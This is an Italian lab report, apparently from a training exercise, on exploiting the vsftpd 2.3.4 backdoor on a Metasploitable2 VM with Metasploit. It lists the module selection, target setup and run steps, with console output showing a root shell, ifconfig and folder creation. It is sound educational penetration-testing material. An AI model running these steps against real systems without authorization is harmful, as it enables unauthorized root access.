**Report sull'Utilizzo di Metasploit su Kali Linux**

**Introduzione**

In questo esercizio, ho utilizzato Metasploit Framework su Kali Linux per sfruttare una vulnerabilità nel servizio vsftpd su una macchina target, Metasploitable2.

**Ricerca dell'Exploit per vsftpd**

- Comando: **search vsftpd**
- Descrizione: Ho avviato la console di Metasploit (msfconsole) e utilizzato il comando search vsftpd per cercare exploit disponibili per il servizio vsftpd. Questo comando interroga il database di Metasploit per trovare tutti gli exploit che corrispondono al termine di ricerca "vsftpd".

**Selezione dell'Exploit**

- Dopo aver trovato un exploit adatto per vsftpd, l'ho selezionato con il comando: **use exploit/unix/ftp/vsftpd_234_backdoor**
- Descrizione: Questo comando carica l'exploit scelto e lo rende attivo per ulteriori configurazioni.

**Impostazione dell'IP della Macchina Target**

- Comando: **show options**
- Descrizione: Ho utilizzato questo comando per visualizzare le opzioni configurabili per l'exploit selezionato, inclusi i parametri richiesti come RHOSTS (Remote Hosts).
- Comando: **set RHOSTS <ip_target>**
- Descrizione: Ho impostato l'indirizzo IP della macchina target Metasploitable2 con il comando: **set RHOSTS 192.168.1.149.** Questo comando specifica l'IP della macchina su cui l'exploit verrà eseguito.

**Selezione del Payload**

- Comando: **show payloads**
- Descrizione: Ho visualizzato tutti i payload disponibili per l'exploit selezionato. Un payload è il codice che verrà eseguito sulla macchina target dopo che l'exploit avrà avuto successo.

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Executi
on


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > showoptions
[-] Unknown command: showoptions
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
                                       sics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Comando: **set PAYLOAD**
Ho scelto e configurato un payload appropriato

**Lancio dell'Exploit**

- Comando: **run o exploit**
- Descrizione: Ho lanciato l'exploit con il comando run, se l'exploit ha successo, otterrò l'accesso alla macchina target.

**Verifica dell'Accesso**

- Comando: **ifconfig**
- Descrizione: Per verificare di essere effettivamente connesso alla macchina Metasploitable2, ho eseguito il comando ifconfig. Questo comando mostra la configurazione delle interfacce di rete sulla macchina, confermando che ho ottenuto l'accesso.

**Creazione di una Cartella**

- Comando: **mkdir test_metasploit**
- Descrizione: Infine, per confermare ulteriormente l'accesso e la possibilità di eseguire comandi sulla macchina target, ho creato una cartella chiamata test_metasploit con il comando mkdir.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.29:45007 → 192.168.1.149:6200) at 2024-05-20 06:23:43 -0400

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3c:33:26
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe3c:3326/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:179 errors:0 dropped:0 overruns:0 frame:0
          TX packets:121 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:15999 (15.6 KB)  TX bytes:15965 (15.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:201 errors:0 dropped:0 overruns:0 frame:0
          TX packets:201 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:72997 (71.2 KB)  TX bytes:72997 (71.2 KB)

sudo su
mkdir /root/test_metasploit
ls /root
Desktop
reset_logs.sh
test_metasploit
vnc.log
```